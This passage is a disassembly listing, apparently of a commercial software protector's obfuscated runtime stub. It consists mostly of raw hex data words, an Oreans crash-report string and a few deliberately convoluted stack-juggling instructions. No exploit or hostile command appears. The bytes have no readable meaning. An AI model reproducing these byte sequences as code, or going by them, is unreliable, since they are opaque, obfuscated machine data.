6070AF9h, 89E9h, 244C8B00h dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h dd 245C8BC3h, 0E8550Ch, 5D000000h, 341EED81h, 838B060Ah dd 0B8h, 3504858Dh, 8389060Ah, 0B8h, 0C3C0335Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6AC35242h, 3D8DEFEDh dd 31A9BD8Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0AD2131C3h, 33598D2Bh, 858D0607h dd 60A3414h, 731BD23h, 8B660607h, 85B550D7h, 35FF64h, 8B000000h dd 72F7995h, 800F6006h, 4, 65DBBF66h, 12E9h, 3DF83100h dd 0EBAFEA61h, 6570A636h, 8C425529h, 61D98B9Ah, 258964h dd 66000000h, 0B9443ABFh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h dd 0BA8685D4h, 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh dd 0C70A7556h, 7294D85h, 106h, 58F6400h, 0 dd 8B04C483h, 70F5995h, 0D88B6006h, 6850Fh, 0B5890000h dd 60701F9h, 8BC08B61h, 1BD83D3h, 60731h, 0BD830975h, 6070A55h dd 50197400h, 0B8C08B53h, 43Dh, 217D8589h, 9D8D0607h, 609B459h dd 585BD3FFh, 0A55BD83h, 74000607h, 0B8535017h, 43Dh, 217D8589h dd 9D8D0607h, 609B0FAh, 585BD3FFh, 14E9F8h, 3E3D0000h dd 0F630B205h, 0CEB098BBh, 6185249Bh, 0BFD1EC22h, 0C08B15F3h dd 13AE9h, 400h, 382E3100h, 3535h, 6 dup(0) db 0 db 2 dup(0), 45h aXceptionInform db 'xception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 db 83h dd 70FDDBDh, 840F0006h, 12Dh, 0AF11858Dh, 8D500609h, 9AE7B85h dd 1685006h, 0FF800000h, 9AF2195h, 94858D06h, 50060A35h dd 359E858Dh, 6A50060Ah, 8D006A00h, 9AE8F85h, 0B5FF5006h dd 609AF11h, 54595FFh, 858D0607h, 60A3594h, 0A2858D50h dd 50060A35h, 6A006Ah, 0AEA1858Dh, 0FF500609h, 9AF11B5h dd 4595FF06h, 8D060705h, 0A359485h, 858D5006h, 60A35AEh dd 6A006A50h, 0EE858D00h, 500609AEh, 0AF11B5FFh, 95FF0609h dd 6070545h, 3594858Dh, 8D50060Ah, 0A35B685h, 6A5006h dd 858D006Ah, 609AF0Ch, 11B5FF50h, 0FF0609AFh, 7054595h dd 94858D06h, 50060A35h, 35B2858Dh, 6A50060Ah, 8D006A00h dd 9AEF585h, 0B5FF5006h, 609AF11h, 54595FFh, 858D0607h dd 60A3594h, 0A6858D50h, 50060A35h, 6A006Ah, 0AEFD858Dh dd 0FF500609h, 9AF11B5h, 4595FF06h, 8D060705h, 0A359485h dd 858D5006h, 60A35AAh, 6A006A50h, 4858D00h, 500609AFh dd 0AF11B5FFh, 95FF0609h, 6070545h, 0AF11B5FFh, 95FF0609h dd 6071D2Dh, 0A2E9h, 19BD8300h, 60704h, 95840Fh, 0BD830000h dd 6071995h, 11850F00h, 8B000000h, 729C995h, 0F8C28106h dd 0E900001Ch, 0Fh, 625958Dh, 528B0607h, 40C28134h, 893BD4C3h dd 72FB595h, 0B5BD8306h, 6072Fh, 55840Fh, 9D8B0000h, 6072FB5h dd 8B4CC383h, 9E858903h, 8B060A35h, 72FB59Dh, 50C38306h dd 8589038Bh, 60A35A2h, 2FB59D8Bh, 0C3830607h, 89038B54h dd 0A35AE85h, 0B59D8B06h, 8306072Fh, 38B58C3h, 35B28589h dd 9D8B060Ah, 6072FB5h, 8B5CC383h, 0A6858903h, 83060A35h dd 70FDDBDh, 850F0006h, 0Dh, 419BD83h, 0F000607h, 6884h dd 0B6B5FF00h, 0FF060A35h, 0A35AAB5h, 0A6B5FF06h, 0FF060A35h dd 0A35B2B5h, 0AEB5FF06h, 0FF060A35h, 0A35A2B5h, 9EB5FF06h dd 8D060A35h, 0A359885h, 858D5006h, 60A35D0h, 2D858D50h dd 50060727h, 1EB195FFh, 0C4830607h, 8D406A24h, 0A35BA85h dd 858D5006h, 607272Dh, 0FF006A50h, 719A595h, 0FF016A06h dd 71F3995h, 0E8C18B06h, 9, 91750A21h, 2E850BFDh, 6850F1Bh dd 81000000h, 8E1001F3h, 880F5F60h, 4, 59595650h, 7346C781h dd 0E9600000h, 11h, 0BD2E0F12h, 7148B9D9h, 3FEEFB05h, 0B3878BF8h dd 686104h, 66000000h, 4ED5F281h, 5870F58h, 60000000h dd 61F3B1F9h, 0E83834FFh, 12h, 658A5876h, 31660EFBh, 0ED030293h dd 6F9639EEh, 8160D28Fh, 8FE3F5D3h, 5E5A610Fh, 0EB3F3DBAh dd 9FEE810Ah, 0F37DB90h, 387h, 2DD18000h, 8F39F681h, 0F28139F3h dd 1C47CF77h, 0F1B5C681h, 0BA665DE9h, 34895A08h, 30C38007h dd 0E881D88Bh, 21C9D2ADh, 0C081D68Bh, 21C9D2A9h, 9E951h dd 431C0000h, 91199EFCh, 59C90C99h, 8D9CF881h, 850FFFFFh dd 0FFFFFF80h, 0C8F0Fh, 7E90000h, 45000000h, 58632CE6h dd 0E960AD31h, 0Fh, 0C5615E6Dh, 7144C325h, 80A7FEC9h, 8B14CF32h dd 816060C0h, 0D8841FCEh, 0F08B6638h, 0CF8B6661h, 1BD8361h dd 60731h, 0BD830975h, 6070A55h, 50197400h, 0B8C08B53h dd 40Eh, 2BAD8589h, 9D8D0607h, 609B3F2h, 585BD3FFh, 0A55BD83h dd 74000607h, 0B8535017h, 40Eh, 2BAD8589h, 9D8D0607h, 609B0E1h dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 42C35141h, 645213AFh, 0DE81C56Ah, 3D1CD7A7h, 0D2BF0F57h dd 6AC08B59h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0CF17C355h, 776B3423h, 23BFBA79h dd 0BD830BC9h, 60732B9h, 3A840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0A72BC357h, 0AE91B67h, 0A6000000h, 338FB6F5h, 0D5D5233Eh dd 0FEE9F5B7h, 81000001h, 0AA2624D1h, 0B9DF8C4Ah, 4C3A9AF3h dd 4C7F766h, 0E6850F00h, 0F8000001h, 0BFh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 527D00C1h, 0D18B66BEh, 9D8DE88Ah, 60A3CDEh, 8114F681h dd 0F9301A0h, 0F8Ah, 7E800h, 0FAD60000h, 44AB3CF8h, 5E595019h dd 13E850h, 13AD0000h, 2717EC28h, 0F8B42962h, 0D3B952A6h dd 0F9005D62h, 6160602Ah, 0C67713BAh, 935E6120h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 46C35141h, 6AC5845Eh dd 97E6815Ch, 64671ED0h, 35FFh, 0D9800000h, 0F78B6614h dd 258964h, 66000000h, 49DAEA81h, 0CDC48BFCh, 8A00EB01h dd 52006ACFh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h dd 0C3524200h, 2D6C7037h, 6CBDAC7h, 64F83331h, 58Fh, 0CE90000h dd 16000000h, 0BD54897Fh, 0F9448B77h, 837BA8E6h, 8F0F04C4h dd 0Bh, 6E9h, 569CA800h, 0B5DA64Dh, 0D2840FC0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h dd 47000000h, 6679C357h, 0B1B2C88Bh, 9E861h, 44B50000h dd 0F52D3A73h, 0F86D64EBh, 5DBD8D5Ah, 0E8060771h, 11h dd 3F7FDC06h, 69B08983h, 13018B62h, 0E566FADCh, 0C8BF0FB0h dd 1B859h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 42B20FC3h, 8A0FE7FFh, 13h, 0EE9h dd 397E6100h, 74DC3586h, 0DD1330D5h, 574E4AD8h, 10245C8Bh dd 0B8838Bh, 0B60F0000h, 0C8FE0140h, 0B08389h, 83830000h dd 0B8h, 0C0335F02h, 16880FC3h, 57000000h, 0FE9h, 735D300h dd 1D021DDFh, 835DB707h, 2AB22767h, 99B96659h, 6A614Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0C2ED8FC3h, 56F36A82h, 60F38B66h, 0D8D98166h, 0E68166E3h dd 8B61BC50h, 6E9C0h, 3C130000h, 8A89EDB4h, 3101BD83h dd 75000607h, 55BD8309h, 6070Ah, 53501974h, 0EB8C08Bh dd 89000004h, 7217D85h, 599D8D06h, 0FF0609B4h, 83585BD3h dd 70A55BDh, 17740006h, 0EB85350h, 89000004h, 7217D85h dd 0FA9D8D06h, 0FF0609B0h, 6A585BD3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F0DC351h dd 0B8Ch, 6E900h, 0F92A0000h, 9133D8DCh, 0D3B70F50h, 6AC08B59h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0E9A5C355h, 0Eh, 228B9500h, 14FF747Eh, 19A314A0h dd 0C28BF6ECh, 0F31718EBh, 9B46h, 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 60A3E38h dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 70B58BFFh, 81060A3Eh, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 74B53B00h, 0F060A3Eh dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 2FB5858Bh, 18860607h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0C995FF08h, 50060723h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 2FB5858Bh, 0C60607h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 6072FB5h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 6071C65h, 0 aLdLs db 'D$',8,'',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 6585C700h, 6071Ch dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 1585C700h dd 1060A3Eh, 50000000h, 244C010Fh, 19858FFEh, 8D060A3Eh dd 0A3E1185h, 19BD8D06h, 89060A3Eh, 23E938h, 858D0000h dd 6070625h, 538408Bh, 9B46F317h, 3E118589h, 858D060Ah dd 6070625h, 893C408Bh, 0A3E1585h, 2E858D06h, 89060A3Eh dd 723C985h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0A1858D00h, 89060A40h, 721AD85h, 0C9858D06h, 89060A40h dd 708F985h, 0F1858D06h, 89060A40h, 7008185h, 8EB06h, 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 7199585h dd 8858D06h, 8B060A70h, 888B08h, 8B000010h, 4A8B660Ah dd 528D89FCh, 83060A41h, 721D5BDh, 840F0006h, 0Fh, 0FF006A60h dd 7320195h, 0C4E96106h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 60A414Eh, 4152B58Bh, 0CEC1060Ah dd 72896610h, 52B58B02h, 66060A41h, 61FC7289h, 414E858Bh dd 8DC3060Ah, 7240995h, 0B5958906h, 8906072Fh, 7074995h dd 4985FF06h, 0C6060707h, 71C4D85h, 0D8685306h, 0FFFCB148h dd 701A9B5h, 13858D06h, 0FF06073Ah, 18589D0h, 8D060732h dd 0A3E4885h, 91858906h, 0E906072Ch, 51h, 24748B60h, 3C760324h dd 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h dd 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 5E4E9h, 5D8E900h dd 6D680000h, 0E9060A43h, 0FFFD3AEEh, 0A448368h, 3AE4E906h dd 3568FFFDh, 0E9060A45h, 0FFFD3ADAh, 0A45E768h, 3AD0E906h dd 3E68FFFDh, 0E9060A47h, 0FFFD3AC6h, 26A3E11h, 5BA3F5CFh dd 0E8F0A686h, 20481C75h, 7C84D02Dh, 2102A1DDh, 93F66B73h dd 4EA8A5CDh, 51DF018h, 0FC98375Fh, 789BB03h, 916BFB03h dd 0DCBFEBCh, 0CB7DC105h, 61B050Dh, 4EAD7D23h, 50DCBEBh dd 0B204F789h, 0F2050DCBh, 704B9D04h, 377F82F0h, 42269497h dd 0A019050Dh, 9F050D42h, 850D4223h, 0EE50A345h, 0AE850D42h dd 64CC686h, 4BED875Dh, 0D4256E8h, 7E2E1685h, 3440C8FDh dd 4218288Fh, 0BDC593EFh, 7A1046A0h, 58DE8AE7h, 28FA7C2Ch dd 5DA3793Ah, 92DC1A59h, 7B01C19Bh, 276948A1h, 56D57531h dd 8933C9D5h, 0A3948DB5h, 61891CF8h, 45892EBh, 0F8CF0000h dd 0AF8558A0h, 607C91F9h, 0D2332E36h, 8EEB668Eh, 0E763B2DAh dd 0ADB5E3FCh, 0E70F51B0h, 325A086Ah, 4991C7DFh, 7DC132D6h dd 3D030788h, 17E5DF55h, 566625A3h, 36886BF9h, 76050D8Bh dd 0FB46064Eh, 0C843B59Bh, 50D8B73h, 0B1926F29h, 8AE475E3h dd 5FB994DCh, 87470F09h, 0B1916943h, 0FCD831EBh, 5440A4AAh dd 31C51EE9h, 8EE47991h, 0E3C35ED8h, 0EF6ACC2Fh, 1A2A050Dh dd 0C13238D2h, 0C63A487Ah, 7C2A0419h, 0F2CF4AACh, 0C121B0A6h dd 0F6B9D9Bh, 4F0B00A5h, 0D7BD9565h, 0DF34158Fh, 5F05BA4Fh dd 76BE6281h, 4E04C480h, 0AFDB1409h, 39290h, 0B7867400h dd 0A30F5A60h, 0A2DE8444h, 0A7E9CB44h, 0B506F97Fh, 5D050DCBh dd 0FBDBB339h, 36D24D95h, 0DCB71C5h, 17013105h, 92FAA88Ah dd 0C731677Fh, 0D33B686Dh, 8472D83Eh, 26A3E15h, 0DCB69D1h dd 0B5694805h, 0DCBF44Ah, 448CB405h, 411270D2h, 0E907A88Bh dd 9FA70F34h, 15D7BF86h, 9EFF7503h, 342h, 729ACE21h, 8BD3859Fh dd 0D8207656h, 10782C05h, 0ACB4E0FDh, 0F1D2D18Dh, 0A3865BA3h dd 1E7895FDh, 0D52D2048h, 0CA8678Fh, 78F8B33h, 0E15BCB03h dd 181E44A2h, 5F359B9h, 83EBBD94h, 0DCB2A50h, 0FB259505h dd 0EE43050Dh, 165ED88Eh, 0D888EB76h, 11E2845Eh, 50DDBADh dd 6C48C5EDh, 0D8883C3Ah, 0DDBE75Bh, 0CEF8105h, 50DDBAAh dd 57EF48EAh, 17050DDBh, 0ED27E72Fh, 42E4BEE7h, 0DDB4DF1h dd 65250D05h, 0B63705DFh, 22947BF3h, 9B280BDBh, 0D0F3432h dd 1E3FD73Fh, 0A50991Dh, 67E9D903h, 32D2307Dh, 0A0EF664Eh dd 5C0315CBh, 29087E6h, 0B0970000h, 774D80E8h, 2804D921h dd 9AFB167Eh, 56B3AEB6h, 1F5BFA02h, 95FDAB84h, 2F371978h dd 7A82D032h, 0B1D98FE7h, 45F97A1Eh, 503078Eh, 44A2279Dh dd 59B9181Eh, 0C09205F3h, 6E3412ECh, 6BD7BC06h, 345EAFDAh dd 0BA000002h, 191F49A7h, 0BCC7BD6Dh, 50DCBFEh, 4D95C3DFh dd 76E0B690h, 5FD98FEBh, 46B0E6C2h, 0A197F9DBh, 0CB328477h dd 4272050Dh, 4F747898h, 54268ED4h, 0B399F97Ah, 0BA99638Bh dd 41AFDA6Bh, 58h, 0B47F9587h, 0DCBF34Bh, 0A4F2D205h, 1AB0F8C8h dd 34E8D019h, 0FED5300Fh, 0B0F8ACAAh, 15D8F459h, 0F38A8003h dd 1DEh, 0DE266245h, 177F2103h, 0A4CC9AFAh, 0FC0448A9h dd 8500461h, 15766DE9h, 0CF2A274Fh, 829C7199h, 71518CD4h dd 0A84CC32Bh, 78EF74Fh, 552FB703h, 0B78040A2h, 50DCB0Fh dd 393F674Fh, 0D264D78Dh, 92050DCBh, 0F64BEDA2h, 53391992h dd 0A979A1E5h, 0CBA62013h, 3BD6050Dh, 0D88C8ADEh, 0DF3BA690h dd 96EC6189h, 20683C15h, 0EEBA976Ah, 8A6C3C68h, 6E762538h dd 243F12B4h, 0CB3F8774h, 3C1E050Dh, 0FAAA9A56h, 875D0B67h dd 0CBAC12EDh, 0C4EC050Dh, 3111CC04h, 156CED6Bh, 6DEBB196h dd 50C690ECh, 5CA4EC14h, 60D621C3h, 20050DCBh, 126FEEC5h dd 6C94D046h, 0D8B4BAEAh, 60E89154h, 54C5337Bh, 3CC62E78h dd 138E88DBh, 50A96335h, 983E2076h, 95D30D69h, 0A754BC6Ch dd 50DF71Bh, 6A4BC70Dh, 0DB24FE26h, 0F34F566h, 0F6441E26h dd 0F6AEBDDBh, 0F1938FCBh, 0BCA4BEA0h, 0D435CF9Fh, 8F42AAFCh dd 0A375E3B5h, 33256B4Eh, 61C0ACB5h, 0E42C4933h, 0E669CD2Eh dd 1929030Ah, 0CC9AF449h, 3B837C16h, 7B030AE6h, 7B9D9B4Bh dd 0E6E056A1h, 90A0030Ah, 42166DF0h, 0FB6B45D4h, 0AC4B54C6h dd 0DD5B8305h, 82581D4Bh, 336E64B1h, 0B5AC9409h, 91C5EEAh dd 87D9B4AAh, 9C000000h, 5AB7DF89h, 0DC0287Eh, 0C01D6533h dd 0B855BDE3h, 50E1095Fh, 0E4B08D16h, 3E62419Ch, 89DF3BD6h dd 0C096EC61h, 0F24DE7B8h, 3078C4Ch, 0A22E840Ch, 0B9181E44h dd 9205F359h, 0D286E37Eh, 4BDED632h, 287E58B1h, 41F5662Eh dd 1050DCBh, 0B68C9131h, 553298E0h, 0DCAFDA6Bh, 17h, 0CBFFBC18h dd 0F8DE050Dh, 126B4A92h, 0B1000000h, 21177958h, 0BC3FA565h dd 50DCBFEh, 4991C7DFh, 3D749AF3h, 2, 4BA279FBh, 58BE1B1Dh dd 0B99504F2h, 95EC6DEBh, 0EBC455C3h, 0FDDEBBBDh, 0D330A197h dd 2E0E8B8Dh, 163FE78h, 6832D95Fh, 1592h, 89242C89h, 4C581E5h dd 83000000h, 2C8704EDh, 0C6685C24h, 89000059h, 0F2682414h dd 89000071h, 0B3682434h, 5A060A42h, 24348B54h, 4C481h dd 0EC830000h, 24148904h, 8B08468Fh db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_54311E ; --------------------------------------------------------------------------- db 0DFh, 0B8h, 0EAh dd 3060A47h, 0EBD18BC5h, 20h, 7 dup(0) dd 5DEE900h, 0D2E90000h, 68000005h, 60A4A2Ch, 0FD34E1E9h dd 4B1468FFh, 0D7E9060Ah, 68FFFD34h, 60A4CF1h, 0FD34CDE9h dd 4D7368FFh, 0C3E9060Ah, 14FFFD34h, 0D20F5731h, 8558A0F6h dd 7895FDABh, 302D351Bh, 0D87981D7h, 7C28059Eh, 0B69AF914h dd 157B3AEh, 580E64F9h, 7AC59F30h, 30783C4h, 0A2A61C84h dd 0A9221442h, 850DCB11h, 888ED030h, 0F1672D09h, 33787C66h dd 0F65953B7h, 2FDA6E91h, 3118h, 0FFBCDC00h, 0E9050DCBh dd 17E0BAFBh, 0F33832Bh, 0E2A88E6Bh, 0D98FE574h, 19B36991h dd 783981Eh, 4C2ED803h, 2DB3D172h, 4C84448Ch, 226Dh, 0FEBC9700h dd 98050DCBh, 0CA29A081h, 0ACD49086h, 633056FCh, 0DE3A17A9h dd 675BD888h, 270F3383h, 0A27DF71Fh, 0A9221442h, 850DCB12h dd 0A88E6335h, 0ADBA324h, 2068590Bh, 0C383D12Dh, 435D2D87h dd 5CB1E7C0h, 86EE1640h, 92481B7Ch, 0ED9914ACh, 4FA8B719h dd 7AF237F7h, 87478FB7h, 0B6815BFDh, 7AF23700h, 53D07040h dd 7AF207EFh, 207652AFh, 56A47EF8h, 9173247Ah, 3B04DE18h dd 7AF23E83h, 0CE53F3C3h, 56E8A2E8h, 0F23E51E5h, 6121117Ah dd 0D085C369h, 534393Ah, 6C5470CBh, 27C971EAh, 8D817CF5h dd 53632027h, 8C2A29D3h, 2E000000h, 8EEE43E5h, 0CBE35BD8h dd 93A3050Dh, 6A0B59F3h, 5F101EB0h, 5E3026C1h, 67AFF5D6h dd 2D1944A7h, 10ED0F33h, 6C266E30h, 87EFB58Dh, 91F36C4Ah dd 0BED541CFh, 982AB748h, 7783F950h, 3B310312h, 38BA2h dd 0E1A78E00h, 3A6C4499h, 77213FD2h, 0CF95F26Fh, 1B49AAA7h dd 0BB2822F3h, 6FE20A5Eh, 213C4414h, 9A779FC5h, 118ED6BCh dd 81328477h, 0E2720307h, 2817E508h, 8BC0E185h, 40B0BDA3h dd 0A195965h, 3463B5Ah, 0A2410000h, 1B58642h, 41050DCBh dd 0F9934971h, 0CB62D427h, 1222050Dh, 0DCB9D21h, 6BD5DD05h dd 9490AC09h, 7DFBABEBh, 0DBB3882h, 0BB845E05h, 50DBB03h dd 50D37343h, 50DBB6Ah, 0DBBE255h, 0BB61D905h, 2A07050Dh dd 0D79F99CFh, 0BB863437h, 1B9050Dh, 67450DBBh, 2BFBA98Ah dd 18B2E3E1h, 0EB53AC46h, 0ABC50DBBh, 2D68CB9Bh, 0D9CF33A5h dd 14E7233Ch, 0C3044DA2h, 62AAD2E2h, 0D1DC22F4h, 0FDD84492h dd 177DD777h, 50DB63DCh, 0AB9BC304h, 0DD4EA963h, 0BDC93D53h dd 64B29C75h, 0CA40490Eh, 2A3B3h, 95FB600h, 42146CE1h dd 9FC9273Ah, 0D7BD9A77h, 2371528Fh, 0A3403ADBh, 17CA1246h dd 0C9046C3Ch, 825FA7EDh, 3996FEA4h, 801A9C9Fh, 0CA5A0307h dd 1E44A270h, 1B588E18h, 83A0F641h, 50600F33h, 0ADFBD508h dd 0FAAC8845h, 3A00DA7Ch, 0EB3EC87Bh, 53EB68BBh, 130307B1h dd 84CA2E23h, 1832D292h, 86383BCAh, 0A70307B1h, 5F671B4Dh dd 849C7D17h, 602064D2h, 0F97D59DAh, 0E5CD0939h, 0F9DC5E9Dh dd 9CCA050Dh, 0F954EA55h, 2C14050Dh, 0F5CD2EE4h, 450F33B1h dd 6C4AA77Dh, 0F644DE26h, 4AEB5B22h, 6B8BB4Ch, 460307BAh dd 8B96367Eh, 952FE5ABh, 7BA14AAh, 0BC6C5403h, 0BA49C1BAh dd 697F0307h, 5ABB964Ch, 844400F6h, 0B18224FEh, 307BA0Dh dd 8EE8654Dh, 1B2B08D8h, 0AB0939F2h, 0FC246A4Eh, 9EA8C26h dd 50DF2B5h, 1DCDF5h, 0F9147C22h, 1319B399h, 3791A6D8h dd 0DE5808E5h, 0D82ED5Dh, 0E88DDB05h, 279F9832h, 67050D82h dd 7EF8AE8Ah, 845E0E36h, 33CA9BBBh, 0ECCE2B0Fh, 0AFA9360h dd 135BA0F8h, 0FAD831EBh, 263FE94h, 0A2ACD85Eh, 0CC2F3E76h dd 9BF3933Eh, 4CCF2801h, 7BFD2573h, 0ABF1D64Bh, 0D429F9ADh dd 1FF2A8FEh, 0B4B25206h, 0F5AFF412h, 3987300Ah, 9AFB5609h dd 5A6A16B6h, 448A980h, 6B9BB21Ah, 0D676C7E9h, 49AB8650h dd 56E44707h, 1E050D05h, 0E8AFB23Ah, 0EAAFDB38h, 0EB6D3B17h dd 1614EBBBh, 0F0000000h, 959DD5Eh, 2919050Dh, 0FEBC8379h dd 23050DECh, 7, 0F1FEBC59h, 95B8050Dh, 0CA6C267Fh, 9E4E1A77h dd 3383F99Dh, 0F09390Fh, 5CF6AFA5h, 3ED6B6E3h, 13EC4609h dd 500A8ABh, 0B1B2BC99h, 6D01193Eh, 54041D45h, 0D2090F40h dd 0C6015Ch, 7C530000h, 2B09C42Ch, 0E4C01D65h, 5EB7AAB2h dd 126FE20Ah, 631F3E46h, 29316740h, 638BDD34h, 0BEC68CEEh dd 0F51D43A3h, 0F9BDBE5Ah, 0B9030787h, 7F955329h, 57C197F3h dd 0CF3DD71Fh, 0E7534BCEh, 0A90DEEA9h, 0E9050DBBh, 0A0BC91D9h dd 0B38C56F6h, 0F33F3EBh, 0FB1D1B2Bh, 0F360D621h, 0D6200307h dd 20F2FFFFh, 2BFB23F5h, 18B2E3E1h, 0C68AEB46h, 9F842506h dd 1C24093Eh, 0F905D05h, 459DF09h, 44h, 42AAFED1h, 9BE3B58Fh dd 28306646h, 6088DC35h, 0BCC490EDh, 0E1C2E19Dh, 53B6ABB3h dd 0E68E50Dh, 0C5DD3058h, 3CD8779Fh, 7867BC3h, 0D1AB3B03h dd 0F5Eh, 0E67FA00h, 72E4B48Fh, 580C0A32h, 0FF79D288h dd 1B1D4BA2h, 4F258BEh, 6DEBB995h, 55C395ECh, 0BBBDEBC4h dd 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h, 0E2895232h dd 4C281h, 0EA830000h, 24148704h, 2414895Ch, 60F668h, 240C8900h dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 50241489h, 4A4E73B8h dd 43BD5537h, 89CEBFFAh, 0C1015DE9h, 3B626858h, 24890000h dd 24048324h, 0EC815A04h, 4, 8F240C89h, 148B0842h, 0E7895724h dd 4C781h, 0C7810000h, 4, 5C243C87h, 592434FFh, 0E904C483h dd 0FFFD2F22h, 52488483h, 0A8ABB0DBh, 4DDCB806h, 0C503060Ah dd 6E8C88Bh, 0B0000000h, 21431E1h, 5EBFB3AEh, 0C681FE8Ah dd 72C3h, 6E956h, 0AC270000h, 568778FDh, 685Ah, 8E90000h dd 4E000000h, 0D4C6CEF5h, 5FF82122h, 7E9h, 0A995CE00h dd 683A4436h, 0FC3734FFh, 3CE98159h, 0B8102CB6h, 714D1665h dd 0F19CE981h, 7FB80F38h, 811E1B8Ch, 4B27AAE9h, 0A4B86037h dd 57049E71h, 58D38B66h, 0CE805161h, 3E048F0Dh, 2BCDC281h dd 0AE95E90h, 0CF000000h, 0AEA7ACF1h, 31EF4114h, 3EF83BAh dd 0AFF08166h, 0F574F32h, 685h, 800F00h, 5B000000h, 8E4CFF81h dd 850FFFFFh, 41h, 27820Fh, 7E80000h, 75000000h, 556B6289h dd 14E86A5Ch, 22000000h, 0DCFF6CFAh, 19CDD826h, 859448E6h dd 0A1962311h, 5A86F476h, 38E958h, 6CA60000h, 0D24DCA0Bh dd 85AB8BDCh, 9C487E8Eh, 0BE860F6h, 53000000h, 0CE17DDA0h dd 0C0DCC150h, 5BF522F8h, 61D9B70Fh, 0FFFF37E9h, 0BA4D22FFh dd 25B2D835h, 0C27F094Ah, 0D9E971ECh, 20000000h, 2C0FBE1Dh dd 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h, 52C55DD5h dd 0A4D676D3h, 4100FC94h, 50C1AEC4h, 